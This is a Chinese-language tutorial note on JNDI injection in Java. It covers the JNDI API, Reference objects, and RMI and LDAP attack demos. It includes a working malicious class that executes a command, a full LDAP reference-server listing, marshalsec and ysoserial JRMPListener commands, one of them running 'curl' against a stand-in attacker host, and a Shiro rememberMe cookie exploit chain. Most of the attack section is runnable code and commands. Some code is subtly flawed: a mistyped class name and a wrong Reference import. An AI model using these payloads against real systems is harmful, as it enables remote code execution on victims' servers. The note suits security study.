JNDI注入

Java漏洞在黑盒实战中的技巧——JNDI注入篇 - FreeBuf网络安全行业门户

JAVA安全之Log4j-Jndi注入原理以及利用方式_log4j jndi-CSDN博客

Java安全之JNDI注入 - nice_0e3 - 博客园

JNDI注入原理及利用考究-先知社区

深入理解JNDI注入与Java反序列化漏洞利用 - 博客 - 腾讯安全应急响应中心

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是SUN公司提供的一种标准的Java命名系统接口,JNDI提供统一的客户端API,通过不同的访问提供者接口JNDI服务供应接口(SPI)的实现,由管理者将JNDI API映射为特定的命名服务和目录系统,使得Java应用程序可以和这些命名服务和目录服务之间进行交互。目录服务是命名服务的一种自然扩展

JNDI(Java Naming and Directory Interface)是一个应用程序设计的API,为开发人员提供了查找和访问各种命名和目录服务的通用、统一的接口,类似JDBC都是构建在抽象层上。现在JNDI已经成为J2EE的标准之一,所有的J2EE容器都必须提供一个JNDI的服务

JNDI可访问的现有的目录及服务有:
DNS、XNam 、Novell目录服务、LDAP(Lightweight Directory Access Protocol轻型目录访问协议)、 CORBA对象服务、文件系统、Windows XP/2000/NT/Me/9x的注册表、RMI、DSML v1&v2、NIS

JNDI 注入,即当开发者在定义 JNDI 接口初始化时,lookup() 方法的参数可控,攻击者就可以将恶意的 url 传入参数远程加载恶意载荷,造成注入攻击

JNDI结构

JNDI结构

在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

1
2
3
4
5
6
7
8
9
10
javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类;

javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;

javax.naming.event:在命名目录服务器中请求事件通知;

javax.naming.ldap:提供LDAP支持;

javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

前置知识

InitialContext类

构造方法:

1
2
3
4
5
6
InitialContext() 
构建一个初始上下文
InitialContext(boolean lazy)
构造一个初始上下文,并选择不初始化它
InitialContext(Hashtable<?,?> environment)
使用提供的环境构建初始上下文

代码

1
InitialContext initialContext = new InitialContext();

在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。

常用方法:

1
2
3
4
5
6
7
8
9
10
bind(Name name, Object obj) 
将名称绑定到对象。
list(String name)
枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
lookup(String name)
检索命名对象。
rebind(String name, Object obj)
将名称绑定到对象,覆盖任何现有绑定。
unbind(String name)
取消绑定命名对象。

代码:

1
2
3
4
5
6
7
8
9
10
11
12
package com.rmi.demo;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/work";
InitialContext initialContext = new InitialContext();
initialContext.lookup(uri);
}
}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

1
2
3
4
5
6
7
8
Reference(String className) 
为类名为“className”的对象构造一个新的引用。
Reference(String className, RefAddr addr)
为类名为“className”的对象和地址构造一个新引用。
Reference(String className, RefAddr addr, String factory, String factoryLocation)
为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。
Reference(String className, String factory, String factoryLocation)
为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。

代码:

1
2
String url = "http://127.0.0.1:8080";
Reference reference = new Reference("test", "test", url);

参数1:className - 远程加载时所使用的类名

参数2:classFactory - 加载的class中需要实例化类的名称

参数3:classFactoryLocation - 提供classes数据的地址可以是file/ftp/http协议

常用方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
void add(int posn, RefAddr addr) 
将地址添加到索引posn的地址列表中。
void add(RefAddr addr)
将地址添加到地址列表的末尾。
void clear()
从此引用中删除所有地址。
RefAddr get(int posn)
检索索引posn上的地址。
RefAddr get(String addrType)
检索地址类型为“addrType”的第一个地址。
Enumeration<RefAddr> getAll()
检索本参考文献中地址的列举。
String getClassName()
检索引用引用的对象的类名。
String getFactoryClassLocation()
检索此引用引用的对象的工厂位置。
String getFactoryClassName()
检索此引用引用对象的工厂的类名。
Object remove(int posn)
从地址列表中删除索引posn上的地址。
int size()
检索此引用中的地址数。
String toString()
生成此引用的字符串表示形式。


代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
package com.rmi.demo;

import com.sun.jndi.rmi.registry.ReferenceWrapper;


import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
String url = "http://127.0.0.1:8080";
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test", "test", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("aa",referenceWrapper);


}
}

LDAP/RMI

攻击示例:

RMI

代码示例:

(本地端)

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class JNDItest {
public static void main(String[] args) throws NamingException{
InitialContext context = new InitialContext();
context.lookup("rmi://127.0.0.1:1099/evil")
}
}

(服务端)

RMIserver:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import com.sun.jndi.rmi.registry.ReferenceWrapper;

import java.rmi.registry.LocateRegistry;
import java.lang.ref.Reference;
import java.rmi.RemoteException;
import java.rmi.registry.Registry;

public class RMIserver{
public static void main(String[] args){
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("evil","evil","http://127.0.0.1/");
registry.bind("evil", new ReferenceWrapper(reference));
}
}

(攻击端)

evil.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class evil implements ObjectFactory{
public evil(){
Runtime.getRuntime().exec("calc");
}
@Override
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment)
throws Exception {
return null;
}
}

打开终端,进入src,将恶意代码编译成class类(RMIserver和evil.java在同一个src)

javac evil.java

python -m http.server : 监听端口,默认在8000 (在src/RMIserver.java),然后再运行RMIserver.java

再打开JNDItest.java运行

预期效果是运行后本地端弹出计算器

PS: 从JDK8U121开始RMI远程对象的Reference代码默认不信任

LDAP

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容

(本地端)

1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;


public class JNDItest {
public static void main(String[] args) throws NamingException{
InitialContext context = new InitialContext();
context.lookup("ldap://127.0.0.1:1099/evil")
}
}

(服务端)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
package com.rmi.rmiclient;

import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

public class demo {

private static final String LDAP_BASE = "dc=example,dc=com";

public static void main ( String[] tmp_args ) {
String[] args=new String[]{"http://127.0.0.1:8080/#test"};
int port = 7777;

try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen", //$NON-NLS-1$
InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$
ds.startListening();

}
catch ( Exception e ) {
e.printStackTrace();
}
}

private static class OperationInterceptor extends InMemoryOperationInterceptor {

private URL codebase;

public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}

@Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}

protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
}
}


(攻击端)

1
2
3
4
5
6
7
import java.io.IOException;

public class evil {
public evil() throws IOException{
Runtime.getRuntime().exec("calc");
}
}

攻击步骤(要求url可控)

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://localhost:8000/#evil 1099

Release marshalsec-0.0.3-SNAPSHOT-all.jar · 0ofo/marshalsec.jar

http://localhost:8000/#evil : 恶意代码所在的http地址,#后面跟恶意类的class类名

1099 :LDAP引用服务所监听的端口

javac evil.java

python -m http.server : 监听端口,默认在8000 (在src/server.java),然后再运行server.java

最后再在本地端运行代码:预期效果是运行后本地端弹出计算器

PS: 从JDK8U191开始LDAP远程引用代码默认不信任

原理:

img

(1)在JNDI服务中,RMI服务端除了直接绑定远程对象之外,还可以通过Reference类来绑定一个外部的远程对象(当前名称目录系统之外的对象)。绑定之后,服务端先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup(),查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例,攻击者恶意代码被执行。

(2)由于 lookup() 的参数可控,攻击者在远程服务器上构造恶意的 Reference 类绑定在 RMIServerRegistry 里面,然后客户端调用 lookup() 函数里面的对象,远程类获取到 Reference 对象,客户端接收 Reference 对象后,寻找 Reference 中指定的类,若查找不到,则会在 Reference 中指定的远程地址去进行请求,请求到远程的类后会在本地进行执行,从而达到 JNDI 注入攻击。

反序列化

Java反序列化工具ysoserial使用-CSDN博客

frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

java -jar ysoserial.jar [payload] '[command]'

介绍

RMP
JRMP(Java Remote Method Protocol)是Java远程方法调用协议的缩写。它是Java中用于实现分布式对象通信的一种协议。

在Java中,可以通过远程方法调用(Remote Method Invocation,RMI)来实现不同Java虚拟机(JVM)之间的通信。JRMP是RMI中的默认协议,它定义了在Java平台上进行远程方法调用所使用的协议规范。

JRMP允许在不同的JVM之间进行对象的远程调用,使得分布式系统中的Java对象可以通过网络进行交互。通过JRMP,客户端可以调用远程服务器上的方法,就像调用本地对象的方法一样。JRMP负责处理网络通信、对象序列化和反序列化等细节,以实现透明的远程方法调用。

要使用JRMP进行远程方法调用,需要定义接口、实现远程对象、绑定远程对象到特定的端口,并在客户端和服务器端分别设置相应的配置。

反序列化运用可以通过ysoserial中的JRMPListener来完成, ysoserialJRMPListener使用方法如下:

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections6 "curl http://attack.com/"

以上命令会在1099端口监听一个 JRMP 服务(JRMP 是 RMI用到的底层协议),当受害者 执行如下代码时,JRMPListener 会构造恶意的 commons Collections 序列化数据返回给受害者客 户端,若受害者应用依赖中存在有缺陷的 Apache commons Collections库,反序列化攻击就会成功,命令 curl http://attacker.com/ 就会在受害者系统上执行。

1
2
3
4
5
String jndiUrl = "ldap://evil rmi server:1099/Exploit"; 

Context ctx = new InitialContext ();

ctx.lookup (jndiUrl);

反序列化利用手法不受 trustURLCodebase 属性配置的影响,因此即使是在 JDK 8u191 之后的版本,也可以利用JNDI注入进行反序列化攻击。

实例(来自CSDN)

攻击者先在公网 vps 上用 ysoserial 启一个恶意的 JRMPListener,监听在 19999 端口,并指定使用 CommonsCollections6 模块,要让目标执行的命令为 ping 一个域名:

java -cp ysoserial.jar ysoserial.expeseloit.JRMPListener 19999 CommonsCollections6 "ping cc6.m2pxdwq5pbhubx9p6043sg8wqnwdk2.burpcollaborator.net"

然后用 ysoserial 生成 JRMPClient 的序列化 payload,指向上一步监听的地址和端口(假如攻击者服务器 ip 地址为 1.1.1.1):

java -jar ysoserial.jar JRMPClient "1.1.1.1:19999" > /tmp/jrmp.ser

再用 shiro 编码脚本对 JRMPClient payload 进行编码:

java -jar shiro-exp.jar encrypt /tmp/jrmp.ser

将最后得到的字符串 Cookie 作为 rememberMe Cookie 的值,发送到目标网站。如果利用成功,则前面指定的 ping 命令会在目标服务器上执行,Burp Collaborator client 也将收到 DNS 解析记录。

原文链接:https://blog.csdn.net/st3pby/article/details/135111050

PS:以上关于JNDI的实战还没遇见过….感觉等刷到了后面会继续更新